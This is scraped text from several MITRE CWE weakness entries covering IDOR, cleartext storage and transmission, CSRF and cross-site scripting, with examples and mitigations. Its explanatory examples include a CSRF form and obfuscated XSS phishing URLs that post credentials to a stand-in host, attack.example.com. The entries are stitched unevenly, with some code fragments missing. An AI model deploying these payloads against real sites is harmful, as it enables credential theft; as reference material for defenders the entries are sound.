mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.URL	Redirection	to	Untrusted	Site	('Open	Redirect')	-	(601)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	938	(OWASP	Top	Ten	2013	Category	A10	-	Unvalidated	Redirects	and	Forwards)	>	601	(URL	Redirection	to	Untrusted	Site	('Open	Redirect'))	CWEs	in	this	viewTotal
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Weakness	ID:	639Abstraction:	BaseStructure:	Simple	DescriptionThe	system's	authorization	functionality	does	not	prevent	one	user	from	gaining	access	to	another	user's	data	or	record	by	modifying	the	key	value	identifying	the	data.	Extended	DescriptionRetrieval	of	a	user	record	occurs	in	the	system	based	on	some	key	value	that	is	under	user	control.	The	key	would	typically	identify	a	user-related	record	stored	in	the	system	and	would	be	used	to	lookup	that	record	for	presentation	to	the	user.	It	is	likely	that	an	attacker	would	have	to	be	an	authenticated
user	in	the	system.	However,	the	authorization	process	would	not	properly	check	the	data	access	operation	to	ensure	that	the	authenticated	user	performing	the	operation	has	sufficient	entitlements	to	perform	the	requested	data	access,	hence	bypassing	any	other	authorization	checks	present	in	the	system.	For	example,	attackers	can	look	at	places	where	user	specific	data	is	retrieved	(e.g.	search	screens)	and	determine	whether	the	key	for	the	item	being	looked	up	is	controllable	externally.	The	key	may	be	a	hidden	field	in	the	HTML	form	field,	might	be
passed	as	a	URL	parameter	or	as	an	unencrypted	cookie	variable,	then	in	each	of	these	cases	it	will	be	possible	to	tamper	with	the	key	value.	One	manifestation	of	this	weakness	is	when	a	system	uses	sequential	or	otherwise	easily-guessable	session	IDs	that	would	allow	one	user	to	easily	switch	to	another	user's	session	and	read/modify	their	data.	Alternate	Terms	Insecure	Direct	Object	Reference	/	IDOR:The	"Insecure	Direct	Object	Reference"	term,	as	described	in	the	OWASP	Top	Ten,	is	broader	than	this	CWE	because	it	also	covers	path	traversal	(CWE-22).
Within	the	context	of	vulnerability	theory,	there	is	a	similarity	between	the	OWASP	concept	and	CWE-706:	Use	of	Incorrectly-Resolved	Name	or	Reference.	Broken	Object	Level	Authorization	/	BOLA:BOLA	is	used	in	the	2019	OWASP	API	Security	Top	10	and	is	said	to	be	the	same	as	IDOR.	Horizontal	Authorization:"Horizontal	Authorization"	is	used	to	describe	situations	in	which	two	users	have	the	same	privilege	level,	but	must	be	prevented	from	accessing	each	other's	resources.	This	is	fairly	common	when	using	key-based	access	to	resources	in	a	multi-user
context.	Applicable	PlatformsThis	listing	shows	possible	areas	for	which	the	given	weakness	could	appear.	These	may	be	for	specific	named	Languages,	Operating	Systems,	Architectures,	Paradigms,	Technologies,	or	a	class	of	such	platforms.	The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that	instance.Languages	Class:	Language-Independent	(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area
that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodAccess	ControlTechnical	Impact:	Bypass	Protection	MechanismAccess
control	checks	for	specific	user	data	or	functionality	can	be	bypassed.	Access	ControlTechnical	Impact:	Gain	Privileges	or	Assume	IdentityHorizontal	escalation	of	privilege	is	possible	(one	user	can	view/modify	information	of	another	user).	Access	ControlTechnical	Impact:	Gain	Privileges	or	Assume	IdentityVertical	escalation	of	privilege	is	possible	if	the	user-controlled	key	is	actually	a	flag	that	indicates	administrator	status,	allowing	the	attacker	to	gain	administrative	access.	Likelihood	Of	Exploit	Potential	Mitigations	Phase:	Architecture	and	DesignFor	each
and	every	data	access,	ensure	that	the	user	has	sufficient	privilege	to	access	the	record	that	is	being	requested.	Phases:	Architecture	and	Design;	ImplementationMake	sure	that	the	key	that	is	used	in	the	lookup	of	a	specific	user's	record	is	not	controllable	externally	by	the	user	or	that	any	tampering	can	be	detected.	Phase:	Architecture	and	DesignUse	encryption	in	order	to	make	it	more	difficult	to	guess	other	legitimate	values	of	the	key	or	associate	a	digital	signature	with	the	key	so	that	the	server	can	verify	that	there	has	been	no	tampering.	Content
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03-29Access	Control	Bypass	Through	User-Controlled	Key	Weakness	ID:	312Abstraction:	BaseStructure:	Simple	DescriptionThe	application	stores	sensitive	information	in	cleartext	within	a	resource	that	might	be	accessible	to	another	control	sphere.	Extended	DescriptionBecause	the	information	is	stored	in	cleartext,	attackers	could	potentially	read	it.	Even	if	the	information	is	encoded	in	a	way	that	is	not	human-readable,	certain	techniques	could	determine	which	encoding	is	being	used,	then	decode	the	information.	Applicable	PlatformsThis	listing	shows
possible	areas	for	which	the	given	weakness	could	appear.	These	may	be	for	specific	named	Languages,	Operating	Systems,	Architectures,	Paradigms,	Technologies,	or	a	class	of	such	platforms.	The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that	instance.Languages	Class:	Language-Independent	(Undetermined	Prevalence)Technologies	Class:	Mobile	(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application
security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodConfidentialityTechnical	Impact:	Read	Application	DataAn
attacker	with	access	to	the	system	could	read	sensitive	information	stored	in	cleartext.	Demonstrative	ExamplesExample	1The	following	code	excerpt	stores	a	plaintext	user	account	ID	in	a	browser	cookie.	response.addCookie(	new	Cookie("userAccountID",	acctID);	Because	the	account	ID	is	in	plaintext,	the	user's	account	information	is	exposed	if	their	computer	is	compromised	by	an	attacker.Example	2This	code	writes	a	user's	login	information	to	a	cookie	so	the	user	does	not	have	to	login	again	later.	function	persistLogin($username,	$password){$data	=
array("username"	=>	$username,	"password"=>	$password);setcookie	("userdata",	$data);}	The	code	stores	the	user's	username	and	password	in	plaintext	in	a	cookie	on	the	user's	machine.	This	exposes	the	user's	login	information	if	their	computer	is	compromised	by	an	attacker.	Even	if	the	user's	machine	is	not	compromised,	this	weakness	combined	with	cross-site	scripting	(CWE-79)	could	allow	an	attacker	to	remotely	copy	the	cookie.	Also	note	this	example	code	also	exhibits	Plaintext	Storage	in	a	Cookie	(CWE-315).	Example	3The	following	code
attempts	to	establish	a	connection,	read	in	a	password,	then	store	it	to	a	buffer.	server.sin_family	=	AF_INET;	hp	=	gethostbyname(argv[1]);if	(hp==NULL)	error("Unknown	host");memcpy(	(char	*)&server.sin_addr,(char	*)hp->h_addr,hp->h_length);if	(argc	<	3)	port	=	80;else	port	=	(unsigned	short)atoi(argv[3]);server.sin_port	=	htons(port);if	(connect(sock,	(struct	sockaddr	*)&server,	sizeof	server)	<	0)	error("Connecting");...while	((n=read(sock,buffer,BUFSIZE-1))!=-1)	{	write(dfd,password_buffer,n);...	While	successful,	the	program	does	not	encrypt	the
data	before	writing	it	to	a	buffer,	possibly	exposing	it	to	unauthorized	actors.Example	4The	following	examples	show	a	portion	of	properties	and	configuration	files	for	Java	and	ASP.NET	applications.	The	files	include	username	and	password	information	but	they	are	stored	in	cleartext.This	Java	example	shows	a	properties	file	with	a	cleartext	username	/	password	pair.	#	Java	Web	App	ResourceBundle	properties	file	...webapp.ldap.username=secretUsernamewebapp.ldap.password=secretPassword...	The	following	example	shows	a	portion	of	a	configuration
file	for	an	ASP.Net	application.	This	configuration	file	includes	username	and	password	information	for	a	connection	to	a	database	but	the	pair	is	stored	in	cleartext.	......	Username	and	password	information	should	not	be	included	in	a	configuration	file	or	a	properties	file	in	cleartext	as	this	will	allow	anyone	who	can	read	the	file	access	to	the	resource.	If	possible,	encrypt	this	information.	Observed	ExamplesReferenceDescription	password	and	username	stored	in	cleartext	in	a	cookie	password	stored	in	cleartext	in	a	file	with	insecure	permissions	chat
program	disables	SSL	in	some	circumstances	even	when	the	user	says	to	use	SSL.	Chain:	product	uses	an	incorrect	public	exponent	when	generating	an	RSA	key,	which	effectively	disables	the	encryption	storage	of	unencrypted	passwords	in	a	database	storage	of	unencrypted	passwords	in	a	database	product	stores	a	password	in	cleartext	in	memory	storage	of	a	secret	key	in	cleartext	in	a	temporary	file	SCADA	product	uses	HTTP	Basic	Authentication,	which	is	not	encrypted	login	credentials	stored	unencrypted	in	a	registry	key	Plaintext	credentials	in	world-
readable	file.	Password	in	cleartext	in	config	file.	Password	in	cleartext	in	config	file.	Decrypted	copy	of	a	message	written	to	disk	given	a	combination	of	options	and	when	user	replies	to	an	encrypted	message.	Plaintext	storage	of	private	key	and	passphrase	in	log	file	when	user	imports	the	key.	Admin	password	in	plaintext	in	a	cookie.	Default	configuration	has	cleartext	usernames/passwords	in	cookie.	Usernames/passwords	in	cleartext	in	cookies.	Authentication	information	stored	in	cleartext	in	a	cookie.	NotesTerminologyDifferent	people	use	"cleartext"	and
"plaintext"	to	mean	the	same	thing:	the	lack	of	encryption.	However,	within	cryptography,	these	have	more	precise	meanings.	Plaintext	is	the	information	just	before	it	is	fed	into	a	cryptographic	algorithm,	including	already-encrypted	text.	Cleartext	is	any	information	that	is	unencrypted,	although	it	might	be	in	an	encoded	form	that	is	not	easily	human-readable	(such	as	base64	encoding).	Content	History	SubmissionsSubmission	DateSubmitterOrganization2006-07-19PLOVER	ModificationsModification	DateModifierOrganization2008-07-01Eric
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communication	channel	that	can	be	sniffed	by	unauthorized	actors.	Extended	DescriptionMany	communication	channels	can	be	"sniffed"	by	attackers	during	data	transmission.	For	example,	network	traffic	can	often	be	sniffed	by	any	attacker	who	has	access	to	a	network	interface.	This	significantly	lowers	the	difficulty	of	exploitation	by	attackers.	Applicable	PlatformsThis	listing	shows	possible	areas	for	which	the	given	weakness	could	appear.	These	may	be	for	specific	named	Languages,	Operating	Systems,	Architectures,	Paradigms,	Technologies,	or	a	class
of	such	platforms.	The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that	instance.Languages	Class:	Language-Independent	(Undetermined	Prevalence)Technologies	Class:	Mobile	(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides
information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodIntegrityConfidentialityTechnical	Impact:	Read	Application	Data;	Modify	Files	or	DirectoriesAnyone	can	read	the	information	by	gaining	access	to	the	channel	being	used	for	communication.	Likelihood	Of	Exploit	Demonstrative
ExamplesExample	1The	following	code	attempts	to	establish	a	connection	to	a	site	to	communicate	sensitive	information.	try	{URL	u	=	new	URL("	);HttpURLConnection	hu	=	(HttpURLConnection)	u.openConnection();hu.setRequestMethod("PUT");hu.connect();OutputStream	os	=	hu.getOutputStream();hu.disconnect();}catch	(IOException	e)	{}	Though	a	connection	is	successfully	made,	the	connection	is	unencrypted	and	it	is	possible	that	all	sensitive	data	sent	to	or	received	from	the	server	will	be	read	by	unintended	actors.	Observed
ExamplesReferenceDescription	Passwords	transmitted	in	cleartext.	Chain:	Use	of	HTTPS	cookie	without	"secure"	flag	causes	it	to	be	transmitted	across	unencrypted	HTTP.	Product	sends	password	hash	in	cleartext	in	violation	of	intended	policy.	Remote	management	feature	sends	sensitive	information	including	passwords	in	cleartext.	Backup	routine	sends	password	in	cleartext	in	email.	Product	transmits	Blowfish	encryption	key	in	cleartext.	Printer	sends	configuration	information,	including	administrative	password,	in	cleartext.	Chain:	cleartext	transmission
of	the	MD5	hash	of	password	enables	attacks	against	a	server	that	is	susceptible	to	replay	(CWE-294).	Product	sends	passwords	in	cleartext	to	a	log	server.	Product	sends	file	with	cleartext	passwords	in	e-mail	message	intended	for	diagnostic	purposes.	Potential	Mitigations	Phase:	Architecture	and	DesignEncrypt	the	data	with	a	reliable	encryption	scheme	before	transmitting.	Phase:	ImplementationWhen	using	web	applications	with	SSL,	use	SSL	for	the	entire	session	from	login	to	logout,	not	just	for	the	initial	login	page.	Phase:	TestingUse	tools	and
techniques	that	require	manual	(human)	analysis,	such	as	penetration	testing,	threat	modeling,	and	interactive	tools	that	allow	the	tester	to	record	and	modify	an	active	session.	These	may	be	more	effective	than	strictly	automated	techniques.	This	is	especially	the	case	with	weaknesses	that	are	related	to	design	and	business	rules.	Phase:	OperationConfigure	servers	to	use	encrypted	channels	for	communication,	which	may	include	SSL	or	other	secure	protocols.	Detection	Methods	Black	BoxUse	monitoring	tools	that	examine	the	software's	process	as	it
interacts	with	the	operating	system	and	the	network.	This	technique	is	useful	in	cases	when	source	code	is	unavailable,	if	the	software	was	not	developed	by	you,	or	if	you	want	to	verify	that	the	build	phase	did	not	introduce	any	new	weaknesses.	Examples	include	debuggers	that	directly	attach	to	the	running	process;	system-call	tracing	utilities	such	as	truss	(Solaris)	and	strace	(Linux);	system	activity	monitors	such	as	FileMon,	RegMon,	Process	Monitor,	and	other	Sysinternals	utilities	(Windows);	and	sniffers	and	protocol	analyzers	that	monitor	network
traffic.	Attach	the	monitor	to	the	process,	trigger	the	feature	that	sends	the	data,	and	look	for	the	presence	or	absence	of	common	cryptographic	functions	in	the	call	tree.	Monitor	the	network	and	determine	if	the	data	packets	contain	readable	commands.	Tools	exist	for	detecting	if	certain	encodings	are	in	use.	If	the	traffic	contains	high	entropy,	this	might	indicate	the	usage	of	encryption.	Content	History	SubmissionsSubmission	DateSubmitterOrganization2006-07-19PLOVER	ModificationsModification	DateModifierOrganization2008-07-01Eric
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28CWE	Content	TeamMITREupdated	Relationships	Weakness	ID:	352Abstraction:	CompoundStructure:	Composite	DescriptionThe	web	application	does	not,	or	can	not,	sufficiently	verify	whether	a	well-formed,	valid,	consistent	request	was	intentionally	provided	by	the	user	who	submitted	the	request.	Extended	DescriptionWhen	a	web	server	is	designed	to	receive	a	request	from	a	client	without	any	mechanism	for	verifying	that	it	was	intentionally	sent,	then	it	might	be	possible	for	an	attacker	to	trick	a	client	into	making	an	unintentional	request	to	the	web
server	which	will	be	treated	as	an	authentic	request.	This	can	be	done	via	a	URL,	image	load,	XMLHttpRequest,	etc.	and	can	result	in	exposure	of	data	or	unintended	code	execution.	Applicable	PlatformsThis	listing	shows	possible	areas	for	which	the	given	weakness	could	appear.	These	may	be	for	specific	named	Languages,	Operating	Systems,	Architectures,	Paradigms,	Technologies,	or	a	class	of	such	platforms.	The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that	instance.Languages	Class:	Language-Independent
(Undetermined	Prevalence)TechnologiesWeb	Server	(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high
likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodConfidentialityIntegrityAvailabilityNon-RepudiationAccess	ControlTechnical	Impact:	Gain	Privileges	or	Assume	Identity;	Bypass	Protection	Mechanism;	Read	Application	Data;	Modify	Application	Data;	DoS:	Crash,	Exit,	or	RestartThe	consequences	will	vary	depending	on	the	nature	of	the	functionality	that	is	vulnerable	to	CSRF.	An	attacker	could	effectively	perform	any	operations	as	the	victim.
If	the	victim	is	an	administrator	or	privileged	user,	the	consequences	may	include	obtaining	complete	control	over	the	web	application	-	deleting	or	stealing	data,	uninstalling	the	product,	or	using	it	to	launch	other	attacks	against	all	of	the	product's	users.	Because	the	attacker	has	the	identity	of	the	victim,	the	scope	of	CSRF	is	limited	only	by	the	victim's	privileges.	Likelihood	Of	Exploit	Demonstrative	ExamplesExample	1This	example	PHP	code	attempts	to	secure	the	form	submission	process	by	validating	that	the	user	submitting	the	form	has	a	valid	session.
A	CSRF	attack	would	not	be	prevented	by	this	countermeasure	because	the	attacker	forges	a	request	through	the	user's	web	browser	in	which	a	valid	session	already	exists.The	following	HTML	is	intended	to	allow	a	user	to	update	a	profile.	
profile.php	contains	the	following	code.	//	initiate	the	session	in	order	to	validate	sessions	session_start();	//if	the	session	is	registered	to	a	valid	user	then	allow	update	if	(!	session_is_registered("username"))	{	echo	"invalid	session	detected!";	//	Redirect	user	to	login	page	[...]	exit;	}	//	The	user	session	is	valid,	so	process	the	request	//	and	update	the	information	update_profile();	function	update_profile	{	//	read	in	the	data	from	$POST	and	send	an	update	//	to	the	database	SendUpdateToDatabase($_SESSION['username'],	$_POST['email']);[...]echo	"Your	profile
has	been	successfully	updated.";	}	This	code	may	look	protected	since	it	checks	for	a	valid	session.	However,	CSRF	attacks	can	be	staged	from	virtually	any	tag	or	HTML	construct,	including	image	tags,	links,	embed	or	object	tags,	or	other	attributes	that	load	background	images.The	attacker	can	then	host	code	that	will	silently	change	the	username	and	email	address	of	any	user	that	visits	the	page	while	remaining	logged	in	to	the	target	web	application.	The	code	might	be	an	innocent-looking	web	page	such	as:	function	SendAttack	()	{form.email	=
"attacker@example.com";	//	send	to	profile.php	form.submit();}	Username:	
Password:	
If	a	user	clicks	on	this	link	then	Welcome.php	will	generate	the	following	HTML	and	send	it	to	the	user's	browser:	Welcome,	Please	Login:	Username:	
Password:	
The	trustworthy	domain	of	the	URL	may	falsely	assure	the	user	that	it	is	OK	to	follow	the	link.	However,	an	astute	user	may	notice	the	suspicious	text	appended	to	the	URL.	An	attacker	may	further	obfuscate	the	URL	(the	following	example	links	are	broken	into	multiple	lines	for	readability):	trustedSite.example.com/welcome.php?
username=%3Cdiv+id%3D%22stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A+%3Cinput+type%3D%22password%22+name%3D%22password%22+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A	The	same	attack	string
could	also	be	obfuscated	as:	trustedSite.example.com/welcome.php?
username=document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');
Both	of	these	attack	links	will	result	in	the	fake	login	box	appearing	on	the	page,	and	users	are	more	likely	to	ignore	indecipherable	text	at	the	end	of	URLs.Example	2This	example	also	displays	a	Reflected	XSS	(Type	1)	scenario.The	following	JSP	code	segment	reads	an	employee	ID,	eid,	from	an	HTTP	request	and	displays	it	to	the	user.	...Employee	ID:	The	following	ASP.NET	code	segment	reads	an	employee	ID	number	from	an	HTTP	request	and	displays	it	to	the	user.	The	code	in	this	example	operates	correctly	if	the	Employee	ID	variable	contains	only
standard	alphanumeric	text.	If	it	has	a	value	that	includes	meta-characters	or	source	code,	then	the	code	will	be	executed	by	the	web	browser	as	it	displays	the	HTTP	response.Example	3This	example	covers	a	Stored	XSS	(Type	2)	scenario.The	following	JSP	code	segment	queries	a	database	for	an	employee	with	a	given	ID	and	prints	the	corresponding	employee's	name.	Employee	Name:	The	following	ASP.NET	code	segment	queries	a	database	for	an	employee	with	a	given	employee	ID	and	prints	the	name	corresponding	with	the	ID.	This	code	can	appear	less
dangerous	because	the	value	of	name	is	read	from	a	database,	whose	contents	are	apparently	managed	by	the	application.	However,	if	the	value	of	name	originates	from	user-supplied	data,	then	the	database	can	be	a	conduit	for	malicious	content.	Without	proper	input	validation	on	all	data	stored	in	the	database,	an	attacker	can	execute	malicious	commands	in	the	user's	web	browser.Example	4The	following	example	consists	of	two	separate	pages	in	a	web	application,	one	devoted	to	creating	user	accounts	and	another	devoted	to	listing	active	users	currently
logged	in.	It	also	displays	a	Stored	XSS	(Type	2)	scenario.CreateUser.php	$username	=	mysql_real_escape_string($username);$fullName	=	mysql_real_escape_string($fullName);$query	=	sprintf('Insert	Into	users	(username,password)	Values	("%s","%s","%s")',	$username,	crypt($password),$fullName)	;mysql_query($query);/.../	The	code	is	careful	to	avoid	a	SQL	injection	attack	(CWE-89)	but	does	not	stop	valid	HTML	from	being	stored	in	the	database.	This	can	be	exploited	later	when	ListUsers.php	retrieves	the	information:	ListUsers.php	$query	=	'Select	*
From	users	Where	loggedIn=true';$results	=	mysql_query($query);	if	(!$results)	{exit;}	//Print	list	of	users	to	page	echo	'Currently	Active	Users:';while	($row	=	mysql_fetch_assoc($results))	{echo	''.$row['fullname'].'';}echo	'';	The	attacker	can	set	their	name	to	be	arbitrary	HTML,	which	will	then	be	displayed	to	all	visitors	of	the	Active	Users	page.	This	HTML	can,	for	example,	be	a	password	stealing	Login	message.Example	5Consider	an	application	that	provides	a	simplistic	message	board	that	saves	messages	in	HTML	format	and	appends	them	to	a	file.
When	a	new	user	arrives	in	the	room,	it	makes	an	announcement:	$name	=	$_COOKIE["myname"];$announceStr	=	"$name	just	logged	in.";	//save	HTML-formatted	message	to	file;	implementation	details	are	irrelevant	for	this	example.	saveMessage($announceStr);	An	attacker	may	be	able	to	perform	an	HTML	injection	(Type	2	XSS)	attack	by	setting	a	cookie	to	a	value	like:	document.alert('Hacked');	The	raw	contents	of	the	message	file	would	look	like:	document.alert('Hacked');	has	logged	in.	For	each	person	who	visits	the	message	page,	their	browser	would
execute	the	script,	generating	a	pop-up	window	that	says	"Hacked".	More	malicious	attacks	are	possible;	see	the	rest	of	this	entry.	Observed	Examples	Potential	Mitigations	Phase:	Architecture	and	DesignStrategy:	Libraries	or	FrameworksUse	a	vetted	library	or	framework	that	does	not	allow	this	weakness	to	occur	or	provides	constructs	that	make	this	weakness	easier	to	avoid.	Examples	of	libraries	and	frameworks	that	make	it	easier	to	generate	properly	encoded	output	include	Microsoft's	Anti-XSS	library,	the	OWASP	ESAPI	Encoding	module,	and	Apache
Wicket.	Phases:	Implementation;	Architecture	and	DesignUnderstand	the	context	in	which	your	data	will	be	used	and	the	encoding	that	will	be	expected.	This	is	especially	important	when	transmitting	data	between	different	components,	or	when	generating	outputs	that	can	contain	multiple	encodings	at	the	same	time,	such	as	web	pages	or	multi-part	mail	messages.	Study	all	expected	communication	protocols	and	data	representations	to	determine	the	required	encoding	strategies.	For	any	data	that	will	be	output	to	another	web	page,	especially	any	data	that
was	received	from	external	inputs,	use	the	appropriate	encoding	on	all	non-alphanumeric	characters.	Parts	of	the	same	output	document	may	require	different	encodings,	which	will	vary	depending	on	whether	the	output	is	in	the:	HTML	body	Element	attributes	(such	as	src="XYZ")	URIs	JavaScript	sections	Cascading	Style	Sheets	and	style	property	etc.	Note	that	HTML	Entity	Encoding	is	only	appropriate	for	the	HTML	body.	Consult	the	XSS	Prevention	Cheat	Sheet	[REF-724]	for	more	details	on	the	types	of	encoding	and	escaping	that	are	needed.	Phases:
Architecture	and	Design;	ImplementationStrategy:	Attack	Surface	ReductionUnderstand	all	the	potential	areas	where	untrusted	inputs	can	enter	your	software:	parameters	or	arguments,	cookies,	anything	read	from	the	network,	environment	variables,	reverse	DNS	lookups,	query	results,	request	headers,	URL	components,	e-mail,	files,	filenames,	databases,	and	any	external	systems	that	provide	data	to	the	application.	Remember	that	such	inputs	may	be	obtained	indirectly	through	API	calls.	Note:	This	technique	has	limited	effectiveness,	but	can	be	helpful
when	it	is	possible	to	store	client	state	and	sensitive	information	on	the	server	side	instead	of	in	cookies,	headers,	hidden	form	fields,	etc.	Phase:	Architecture	and	DesignFor	any	security	checks	that	are	performed	on	the	client	side,	ensure	that	these	checks	are	duplicated	on	the	server	side,	in	order	to	avoid	CWE-602.	Attackers	can	bypass	the	client-side	checks	by	modifying	values	after	the	checks	have	been	performed,	or	by	changing	the	client	to	remove	the	client-side	checks	entirely.	Then,	these	modified	values	would	be	submitted	to	the	server.	Phase:
Architecture	and	DesignStrategy:	ParameterizationIf	available,	use	structured	mechanisms	that	automatically	enforce	the	separation	between	data	and	code.	These	mechanisms	may	be	able	to	provide	the	relevant	quoting,	encoding,	and	validation	automatically,	instead	of	relying	on	the	developer	to	provide	this	capability	at	every	point	where	output	is	generated.	Phase:	ImplementationStrategy:	Output	EncodingUse	and	specify	an	output	encoding	that	can	be	handled	by	the	downstream	component	that	is	reading	the	output.	Common	encodings	include	ISO-
8859-1,	UTF-7,	and	UTF-8.	When	an	encoding	is	not	specified,	a	downstream	component	may	choose	a	different	encoding,	either	by	assuming	a	default	encoding	or	automatically	inferring	which	encoding	is	being	used,	which	can	be	erroneous.	When	the	encodings	are	inconsistent,	the	downstream	component	might	treat	some	character	or	byte	sequences	as	special,	even	if	they	are	not	special	in	the	original	encoding.	Attackers	might	then	be	able	to	exploit	this	discrepancy	and	conduct	injection	attacks;	they	even	might	be	able	to	bypass	protection
mechanisms	that	assume	the	original	encoding	is	also	being	used	by	the	downstream	component.	The	problem	of	inconsistent	output	encodings	often	arises	in	web	pages.	If	an	encoding	is	not	specified	in	an	HTTP	header,	web	browsers	often	guess	about	which	encoding	is	being	used.	This	can	open	up	the	browser	to	subtle	XSS	attacks.	Phase:	ImplementationWith	Struts,	write	all	data	from	form	beans	with	the	bean's	filter	attribute	set	to	true.	Phase:	ImplementationStrategy:	Attack	Surface	ReductionTo	help	mitigate	XSS	attacks	against	the	user's	session
cookie,	set	the	session	cookie	to	be	HttpOnly.	In	browsers	that	support	the	HttpOnly	feature	(such	as	more	recent	versions	of	Internet	Explorer	and	Firefox),	this	attribute	can	prevent	the	user's	session	cookie	from	being	accessible	to	malicious	client-side	scripts	that	use	document.cookie.	This	is	not	a	complete	solution,	since	HttpOnly	is	not	supported	by	all	browsers.	More	importantly,	XMLHTTPRequest	and	other	powerful	browser	technologies	provide	read	access	to	HTTP	headers,	including	the	Set-Cookie	header	in	which	the	HttpOnly	flag	is	set.
Effectiveness:	Defense	in	Depth	Phase:	ImplementationStrategy:	Input	ValidationAssume	all	input	is	malicious.	Use	an	"accept	known	good"	input	validation	strategy,	i.e.,	use	a	list	of	acceptable	inputs	that	strictly	conform	to	specifications.	Reject	any	input	that	does	not	strictly	conform	to	specifications,	or	transform	it	into	something	that	does.	When	performing	input	validation,	consider	all	potentially	relevant	properties,	including	length,	type	of	input,	the	full	range	of	acceptable	values,	missing	or	extra	inputs,	syntax,	consistency	across	related	fields,	and
